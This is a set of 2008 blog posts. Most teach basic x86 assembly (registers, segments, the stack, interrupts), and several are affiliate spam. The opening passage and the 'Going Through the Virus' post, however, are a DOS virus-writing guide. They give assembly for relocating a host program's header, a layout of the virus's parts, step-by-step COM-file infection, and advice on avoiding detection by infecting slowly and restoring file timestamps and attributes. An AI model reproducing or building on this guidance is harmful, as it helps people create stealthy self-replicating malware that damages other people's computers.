MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI

This code first moves CS into ES and then sets the source pointer of MOVSB to where P1 is located. Remember that this is all taking place in memory, so you need the OFFSET of P1, not just the physical location in the file. The offset of P1 is 100h higher than the physical file location, as COM files are loaded starting from CS:[100h].

So here's a summary of the parts of the virus and location labels:

V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
; First part of the program stored here for future use
P1_End:

V2_Start:
; Real Stuff
V2_End:

V1_Length EQU V1_End - V1_Start

Alternatively, you could store P1 in V2 as follows:

V2_Start:

P1_Start:
P1_End:

V2_End:

That's all there is to infecting a COM file without destroying it! Simple, no? EXE files, however, are a little tougher to infect without rendering them inexecutable - I will cover this topic in a later file.

Now let us turn our attention back to the replicator portion of the virus. The steps are outlined below:

1) Find a file to infect
2) Check if it is already infected
3) If so, go back to 1
4) Infect it
5) If infected enough, quit
6) Otherwise, go back to 1

Finding a file to infect is a simple matter of writing a directory traversal procedure and issuing FINDFIRST and FINDNEXT calls to find possible files to infect. Once you find the file, open it and read the first few bytes. If they are the same as the first few bytes of V1, then
the file is already infected. If the first bytes of V1 are not unique to your virus, change it so that they are. It is *extremely* important that your virus doesn't reinfect the same files, since that was how Jerusalem was first detected. If the file wasn't already infected, then infect it!
Infection should take the following steps:

1) Change the file attributes to nothing.
2) Save the file date/time stamps.
3) Close the file.
4) Open it again in read/write mode.
5) Save P1 and append it to the end of the file.
6) Copy V1 to the beginning, but change the offset which it JMPs to so
it transfers control correctly. See the previous part on infection.
7) Append V2 to the end of the file.
8) Restore file attributes/date/time.

You should keep a counter of the number of files infected during this run. If the number exceeds, say three, then stop. It is better to infect slowly then to give yourself away by infecting the entire drive at once.

You must be sure to cover your tracks when you infect a file. Save the file's original date/time/attributes and restore them when you are finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code, probably less, to do these few simple things which can do wonders for the concealment of your program.

Going Through the Virus

noreply@blogger.com (DauskupanG) — Sat, 22 Mar 2008 12:41:00 +0000

Now I must said that you have finish studying about the basics of the assembly language, so that I want to continue with our virus writing guide. Before that you must know every types and function of virus you want to create. Remember, all of this is for educational purpose only. I don't want to take any responsibility of what you're doing with my article. For started, there are three types of virii @ virus that is:

1) Tiny virii (under 500 bytes) which are designed to be undetectable due to their small size. TINY is one such virus. They are generally very simple because their code length is so limited.

2) Large virii (over 1,500 bytes) which are designed to be undetectable because they cover their tracks very well (all that code DOES have a use!). The best example of this is the Whale virus, which is perhaps the best 'Stealth' virus in existence.

3) Other virii which are not designed to be hidden at all (the writers don't give a shit). The common virus is like this. All overwriting virii are in this category.

Tiny virii generally do not have many of the "features" of larger virii, such as directory traversal. The third type is more of a replicating trojan-type, and will warrant a brief (very, very brief!) discussion later.

A virus may be divided into three parts: the replicator, the concealer, and the bomb. The replicator part controls the spread of the virus to other files, the concealer keeps the virus from being detected, and the bomb only executes when the activation conditions of the virus (more on that later) are satisfied.

On the next post I will explain briefly to you about the replicator part of the virus and I will provide some of the code. Don't misuse this information! See you again in the next post.

Function of INT

noreply@blogger.com (DauskupanG) — Thu, 20 Mar 2008 08:38:00 +0000

Ok, as promised before, I'll explain about the INT in this post. So, check it out and understand it cause this will be used a lot in your programme you write.

Examples:
INT 21h ;calls DOS standard interrupt # 21h
INT 10h ;the Video BIOS interrupt..

INT is used to call a subroutine that performs some function that you'd rather not write yourself. For instance, you would use a DOS interrupt to OPEN a file. You would similiarly use the Video BIOS interrupt to set the screen mode, move the cursor, or to do any other function that would be difficult to program.

Which subroutine the interrupt preforms is USUALLY specified by AH. For instance, if you wanted to print a message to the screen you'd use INT 21h, subfunction 9 by doing this:

mov ah,9
int 21h

Yes, it's that easy. Of course, for that function to do anything, you need to specify WHAT to print. That function requires that you have DS:DX be a FAR pointer that points to the string to display. This string must terminate with a dollar sign. Here's an example:

MyMessage db "This is a message!$"
...
mov dx,OFFSET MyMessage
mov ax,SEG MyMessage
mov ds,ax
mov ah,9
int 21h
.....

The DB, like the DW (and DD) merely declares the type of a piece of data.

DB => Declare Byte (I think of it as 'Data Byte')
DW => Declare Word
DD => Declare Dword

Also, you may have noticed that I first put the segment value into AX and then put it into DS. I did that because the 80x86 does NOT allow you to put an immediate value into a segment register. You can, however, pop stuff into a Segment register or mov an indexed value into the segment register. A few examples:

LEGAL:
mov ax,SEG MyMessage
mov ds,ax

push SEG Message
pop ds

mov ds,[SegOfMyMessage]
;where [SegOfMyMessage] has already been loaded with
; the SEGMENT that MyMessage resides in

ILLEGAL:
mov ds,10
mov ds,SEG MyMessage

Well, that's about it for what you need to know to get started...

And here I also want you to understand how to use the goodies I give you in the last post that is Turbo Assembler. Here some example:

;===========-

DOSSEG ;This arranges the segments in order according DOS standards
;CODE, DATA, STACK
.MODEL SMALL ;dont worry about this yet
.STACK 200h ;tells the compiler to put in a 200h byte stack
.CODE ;starts code segment

ASSUME CS:@CODE, DS:@CODE

START: ;generally a good name to use as an entry point

mov ax,4c00h
int 21h

END START

;===========- By the way, a semicolon means the start of a comment.

If you were to enter this program and TASM & TLINK it, it would execute perfectly. It will do absolutly nothing, but it will do it well.

What it does:
Upon execution, it will jump to START. move 4c00h into AX, and call the DOS interrupt, which exits back to DOS.

That's nice, eh? If you've understood the majority of what was presented in the post before this, you are ready to start programming!

Free Assembly Compilers to You!

noreply@blogger.com (DauskupanG) — Tue, 18 Mar 2008 19:30:00 +0000

Now I want to share with you a stand alone software used to compile .asm files to exe files. This is very useful for you to assemble whats you write/programmed. Check it out!

DOWNLOAD

Understanding the STACK

noreply@blogger.com (DauskupanG) — Tue, 18 Mar 2008 06:04:00 +0000

Heck, as long as I've mentioned it before, lets look at the STACK:

The STACK is an area of memory that has the properties of a STACK of plates- the last one you put on is the first one take off. The only difference is that the stack of plates is on the roof. (Ok, so that can't really happen... unless gravity was shut down...) Meaning that as you put another plate (or piece of data) on the stack, the STACK grows DOWNWARD. Meaning that the stack pointer is DECREASED after each PUSH, and INCREASED after each POP.

_____ Top of the allocated memory in the stack segment (SS)
þ
þ
þ
þ ® SP (the stack pointer points to the most recently pushed byte)

Truthfully, you don't need to know much more than a stack is Last In, First Out (LIFO).

WRONG ex:
push cx ;this swaps the contents of CX and AX
push ax ;of course, if you wanted to do this quicker, you'd
...
pop cx ;just say XCHG cx,ax
pop ax ; but thats not my point.

RIGHT ex:
push cx ;this correctly restores AX & CX
push ax
...
pop ax
pop cx

Now I'll do a quick run through on the assembler instructions that you MUST know:

Examples of different addressing modes:

MOV ax,5 ;moves and IMMEDIATE value into ax (think 'AX = 5')
MOV bx,cx ;moves a register into another register
MOV cx,[SI] ;moves [DS:SI] into cx (the Default Segment is Used)
MOV [DI+5],ax ;moves ax into [DS:DI+5]
MOV [ES:DI+BX+34],al ;same as above, but has a more complicated
;OFFSET (=DI+BX+34) and a SEGMENT OVERRIDE
MOV ax,[546] ;moves whats at [DS:546] into AX

Note that the last example would be totally different if the brackets were left out. It would mean that an IMMEDIATE value of 546 is put into AX, instead of what's at offset 546 in the Default Segment.

ANOTHER STANDARD NOTATION TO KNOW:
Whenever you see brackets [] around something, it means that it refers to what is AT that offset. For instance, say you had this situation:

MyData dw 55
...
mov ax,MyData

What is that supposed to mean? Is MyData an Immediate Value? This is confusing and for our purposes WRONG. The 'Correct' way to do this would be:

MyData dw 55
...
mov ax,[MyData]

This is clearly moving what is AT the address of MyData, which would be 55, and not moving the OFFSET of MyData itself. But what if you actually wanted the OFFSET? Well, you must specify directly.

MyData dw 55
...
mov ax,OFFSET MyData

Similiarly, if you wanted the SEGMENT that MyData was in, you'd do this:

MyData dw 55
...
mov ax,SEG MyData

See?I think you will get it after all this brief post. :-)
As for he next post I will describe about the INT. Wait and see.

The Registers (Continued)

noreply@blogger.com (DauskupanG) — Sun, 16 Mar 2008 09:56:00 +0000

As before I've mentioned about the AX registers, now we'll continue about the other registers. Take note guys!.

BX (BH/BL): same as AX (BH/BL)

SPECIAL USES:
As mentioned before, BX can be used as an OFFSET register.
ex:
mov ax,[ds:bx] (grabs the WORD at the address created by
DS and BX)

CX (CH/CL): Same as AX

SPECIAL USES:
Used in REP prefix to repeat an instruction CX number of times
ex:
mov cx,10
mov ax,0
rep stosb ;this would write 10 zeros to [ES:DI] and increase
;DI by 10.
Used in LOOP
ex:
mov cx,100

THELABEL:

;do something that would print out 'HI'

loop THELABEL ;this would print out 'HI' 100 times
;the loop is the same as:
dec cx
jne THELABEL

DX (DH/DL): Same as above
SPECIAL USES:
USED in word sized MUL, DIV, IMUL, IDIV as DEST for high word
or remainder

ex:
mov bx,10
mov ax,5
mul bx ;this multiplies BX by AX and puts the result
;in DX:AX

ex:
(continue from above)
div bx ;this divides DX:AX by BX and put the result in AX and
;the remainder (in this case zero) in DX

Used as address holder for IN's, and OUT's (see ax's examples)

INDEX REGISTERS:

DI: Used as destination address holder for stos, movs (see ax's examples)
Also can be used as an OFFSET register

SI: Used as source address holder for lods, movs (see ax's examples)
Also can be used as OFFSET register

Example of MOVS:

movsb ;moves whats at [DS:SI] into [ES:DI] and increases
movsw ; DI and SI by one for movsb and 2 for movsw

NOTE: Up to here we have assumed that the DIRECTION flag was cleared.
If the direction flag was set, the DI & SI would be DECREASED
instead of INCREASED.
ex:
cld ;clears direction flag
std ;sets direction flag

STACK RELATED INDEX REGISTERS:

BP: Base Pointer. Can be used to access the stack. Default segment is
SS. Can be used to access data in other segments throught the use
of a SEGMENT OVERRIDE.

ex:
mov al,[ES:BP] ;moves a byte from segment ES, offset BP
Segment overrides are used to specify WHICH of the 4 (or 6 on the
386) segment registers to use.

SP: Stack Pointer. Does just that. Segment overrides don't work on this
guy. Points to the current position in the stack. Don't alter unless
you REALLY know what you are doing.

SEGMENT REGISTERS:

DS: Data segment- all data read are from the segment pointed to be this
segment register unless a segment overide is used.
Used as source segment for movs, lods
This segment also can be thought of as the "Default Segment" because
if no segment override is present, DS is assumed to be the segmnet
you want to grab the data from.

ES: Extra Segment- this segment is used as the destination segment
for movs, stos
Can be used as just another segment... You need to specify [ES:°°]
to use this segment.

FS: (386+) No particular reason for it's name... I mean, we have CS, DS,
and ES, why not make the next one FS? :) Just another segment..

GS: (386+) Same as FS

OTHERS THAT YOU SHOULDN'T OR CAN'T CHANGE:

CS: Segment that points to the next instruction- can't change directly
IP: Offset pointer to the next instruction- can't even access
The only was to change CS or IP would be through a JMP, CALL, or RET

SS: Stack segment- don't mess with it unless you know what you're
doing. Changing this will probably crash the computer. This is the
segment that the STACK resides in.

So, that's all for now and I'll come back with some example of the stack and the WRONG and RIGHT doing in the stack. Have fun y'all!

Top P-T-C system in the world!

noreply@blogger.com (DauskupanG) — Fri, 14 Mar 2008 04:30:00 +0000

Recently I found this site that really good in P-T-C (paid to click) system and highest paying rates! Try it yourself. Good to make your side income but it's not make you rich in a second. Remember that.

Click here to register.

The Registers (AX)

noreply@blogger.com (DauskupanG) — Wed, 12 Mar 2008 16:17:00 +0000

I've mentioned AX, AL, and AH before, and you're probably wondering what exactly they are. Well, I'm gonna go through one by one and explain what each register is and what it's most common uses are. Here goes:

AX (AH/AL):

AX is a 16 bit register which, as metioned before, is merely two bytes attached together. Well, for AX, BX, CX, & DX you can independantly access each part of the 16 bit register through the 8bit (or byte sized) registers. For AX, they are AL and AH, which are the Low and High parts of AX, respectivly. It should be noted that any change to AL or AH, will change AX. Similairly any changes to AX may or may not change AL and AH. For instance:

Let's suppose that AX = 00000h (AH and AL both = 0, too)

mov AX,0
mov AL,0
mov AH,0

Now we set AL = 0FFh.

mov AL,0FFh

:AX => 000FFh ;I'm just showing ya what's in the registers
:AL => 0FFh
:AH => 000h

Now we increase AX by one:

INC AX

:AX => 00100h (= 256.. 255+1= 256)
:AL => 000h (Notice that the change to AX changed AL and AH)
:AH => 001h

Now we set AH = 0ABh (=171)

mov AH,0ABh

:AX => 0AB00h
:AL => 000h
:AH => 0ABh

Notice that the first example was just redundant...
We could've set AX = 0 by just doing

mov ax,0

:AX => 00000h
:AL => 000h
:AH => 000h

I think ya got the idea...

SPECIAL USES OF AX:
Used as the destination of an IN (in port)
ex:
IN AL,DX
IN AX,DX

Source for the output for an OUT
ex:
OUT DX,AL
OUT DX,AX

Destination for LODS (grabs byte/word from [DS:SI] and INCreses SI)
ex:
lodsb (same as: mov al,[ds:si] ; inc si )
lodsw (same as: mov ax,[ds:si] ; inc si ; inc si )

Source for STOS (puts AX/AL into [ES:DI] and INCreses DI)
ex:
stosb (same as: mov [es:di],al ; inc di )
stosw (same as: mov [es:di],ax ; inc di ; inc di )

Used for MUL, IMUL, DIV, IDIV

As the next post I will get to you about the registers called BX. That's all for this post. You have to get it! :-)

New affiliates

noreply@blogger.com (DauskupanG) — Wed, 12 Mar 2008 15:57:00 +0000

New affiliates added at the right side! Check this out!

Wireless Speakers
Search through this great collection of brand name speakers

Vigrx
Health supplements with great multiple discounts!

Penis Enlargement
Testing kits for infections

Av Rent Car
Algarve car hire
faro car hire
faro airport car hire

Segments and Offsets

noreply@blogger.com (DauskupanG) — Tue, 11 Mar 2008 15:47:00 +0000

Pay close attention, because this topic is (I believe) the single most difficult (or annoying, once you understand it) aspect of ASSEMBLER.

An OverView:

The original designers of the 8088, way back when dinasaurs ruled the planet, decided that no one would ever possibly need more than one MEG (short for MEGABYTE :) of memory. So they built the machine so that it couldn't access above 1 MEG. To access the whole MEG, 20 BITs are needed. Problem was that the registers only had 16 bits, and if the used two registers, that would be 32 bits, which was way too much (they thought.) So they came up with a rather brilliant (blah) way to do their addressing- they would use two registers. They decided that they would not be 32bits, but the two registers would create 20 bit addressing. And thus Segments and OFFsets were born. And now the confusing specifics.

OFFSET = SEGMENT*16
SEGMENT = OFFSET /16 ;note that the lower 4 bits are lost

SEGMENT * 16 |0010010000010000----| range (0 to 65535) * 16
+
OFFSET |----0100100000100010| range (0 to 65535)
=
20 bit address |00101000100100100010| range 0 to 1048575 (1 MEG)

This shows how DS:SI is used to construct a 20 bit address.

Segment registers are: CS, DS, ES, SS. On the 386+ there are also FS & GS

Offset registers are: BX, DI, SI, BP, SP, IP. In 386+ protected mode, ANY general register (not a segment register) can be used as an Offset register. (Except IP, which you can't access.)

CS:IP => Points to the currently executing code.
SS:SP => Points to the current stack position.

If you'll notice, the value in the SEGMENT register is multiplied by 16 (or shifted left 4 bits) and then added to the OFFSET register. Together they create a 20 bit address. Also Note that there are MANY combinations of the SEGMENT and OFFSET registers that will produce the same address. The standard notation for a SEGment/OFFset pair is:

SEGMENT:OFFSET or A000:0000 ( which is, of course in HEX )

Where SEGMENT = 0A000h and OFFSET = 00000h. (This happens to be the
address of the upper left pixel on a 320x200x256 screen.)

You may be wondering what would happen if you were to have a segment value of 0FFFFh and an offset value of 0FFFFh.

Take notice: 0FFFFh * 16 (or 0FFFF0h ) + 0FFFFh = 1,114,095, which is
definately larger than 1 MEG (which is 1,048,576.)

This means that you can actually access MORE than 1 meg of memory! Well, to actually use that extra bit of memory, you would have to enable something called the A20 line, which just enables the 21st bit for addressing. This little extra bit of memory is usually called "HIGH MEMORY" and is used when you load something into high memory or say DOS = HIGH in your AUTOEXEC.BAT file. (HIMEM.SYS actually puts it up there..) You don't need to know that last bit, but hey, knowledge is good, right?

Now, I think it's over here and I'm exposing to you about the "REGISTERS" in the next post. See ya!

Assembly Tutorial (Continued)

noreply@blogger.com (DauskupanG) — Mon, 10 Mar 2008 22:23:00 +0000

As before we know the basic such as byte, nibble and bit. Today i'll tell you more about this basics.

1 WORD |0000000000000000|
2 BYTEs ÀÄ AH ÄÙÀÄ AL ÄÙ
4 NIBBLEs ÀÄÄÄÄÄ AX ÄÄÄÄÄÙ
16 BITs

The WORD is just two BYTEs that are stuck together. A word has a maximum value of 0FFFFh (= 65,535). Since a WORD is 4 NIBBLEs, it is represented by 4 HEX digits. This is the size of the 16bit registers on the 80x86 chips. The registers are: AX, BX, CX, DX, DI, SI, BP, SP, CS, DS, ES, SS, and IP. Note that you cannot directly change the contents of IP or CS in any way. They can only be changed by JMP, CALL, or RET.

1 DWORD
2 WORDs |00000000000000000000000000000000|
4 BYTEs ³ ÀÄ AH ÄÙÀÄ AL ÄÙ
8 NIBBLEs ³ ÀÄÄÄÄÄ AX ÄÄÄÄÄÙ
32 BITs ÀÄÄÄÄÄÄÄÄÄÄÄÄ EAX ÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

A DWORD (or "DOUBLE WORD") is just two WORDs, hence the name DOUBLE-WORD. This can have a maximum value of 0FFFFFFFFh (8 NIBBLEs, 8 'F's) which equals 4,294,967,295. Damn large. This is also the size or the 386's 32bit registers: EAX, EBX, ECX, EDX, EDI, ESI, EBP, ESP, EIP. The 'E ' denotes that they are EXTENDED registers. The lower 16bits is where the normal 16bit register of the same name is located.

1 KILOBYTE |-lots of zeros (8192 of 'em)-|
256 DWORDs
512 WORDs
1024 BYTEs
2048 NIBBLEs
8192 BITs

We've all heard the term KILOBYTE byte, before, so I'll just point out that a KILOBYTE, despite its name, is -NOT- 1000 BYTEs. It is actually 1024 bytes.

1 MEGABYTE |-even more zeros (8,388,608 of 'em)-|
1,024 KILOBYTEs
262,144 DWORDs
524,288 WORDs
1,048,576 BYTEs
2,097,152 NIBBLEs
8,388,608 BITs

Just like the KILOBYTE, the MEGABYTE is -NOT- 1 million bytes. It is actually 1024*1024 BYTEs, or 1,048,578 BYTEs

we will investigate an annoying little aspect of the 80x86 processors in later post. I'm talking about nothing other than SEGMENTS & OFFSETS!

Assembly Tutorial (As Requested)

noreply@blogger.com (DauskupanG) — Sun, 09 Mar 2008 15:35:00 +0000

Now i'm trying to get you know better about assembly language as requested by our friends. (frndskiller & team)

First thing ya need to know is a little jargon so you can talk about the basic data structures with your friends and neighbors. They are (in order of increasing size) BIT, NIBBLE, BYTE, WORD, DWORD, FWORD, PWORD and QWORD, PARA, KiloByte, MegaByte. The ones that you'll need to memorize are BYTE, WORD, DWORD, KiloByte, and MegaByte. The others aren't used all that
much, and you wont need to know them to get started. Here's a little graphical representation of a few of those data structures:

(The zeros in between the || is a graphical representation of the number of bits in that data structure.)

1 BIT : |0|

The simplest piece of data that exists. Its either a 1 or a zero.
Put a string of them together and you have a BASE-2 number system.
Meaning that instead of each 'decimal' place being worth 10, its only
worth 2. For instance: 00000001 = 1; 00000010 = 2; 00000011 = 3, etc..

1 NIBBLE: |0000|
4 BITs

The NIBBLE is half a BYTE or four BITS. Note that it has a maximum value
of 15 (1111 = 15). Not by coincidence, HEXADECIMAL, a base 16 number
system (computers are based on this number system) also has a maximum
value of 15, which is represented by the letter 'F'. The 'digits' in
HEXADECIMAL are (in increasing order):

"0123456789ABCDEF"

The standard notation for HEXADECIMAL is a zero followed by the number
in HEX followed by a lowercase "h" For instance: "0FFh" = 255 DECIMAL.

1 BYTE |00000000|
2 NIBBLEs ÀÄ AL ÄÙ
8 BITs

The BYTE is the standard chunk of information. If you asked how much
memory a machine had, you'd get a response stating the number of BYTEs it
had. (Usually preceded by a 'Mega' prefix). The BYTE is 8 BITs or
2 NIBBLEs. A BYTE has a maximum value of 0FFh (= 255 DECIMAL). Notice
that because a BYTE is just 2 NIBBLES, the HEXADECIMAL representation is
simply two HEX digits in a row (ie. 013h, 020h, 0AEh, etc..)

The BYTE is also that size of the 'BYTE sized' registers - AL, AH, BL, BH,
CL, CH, DL, DH.

That's all for today :-).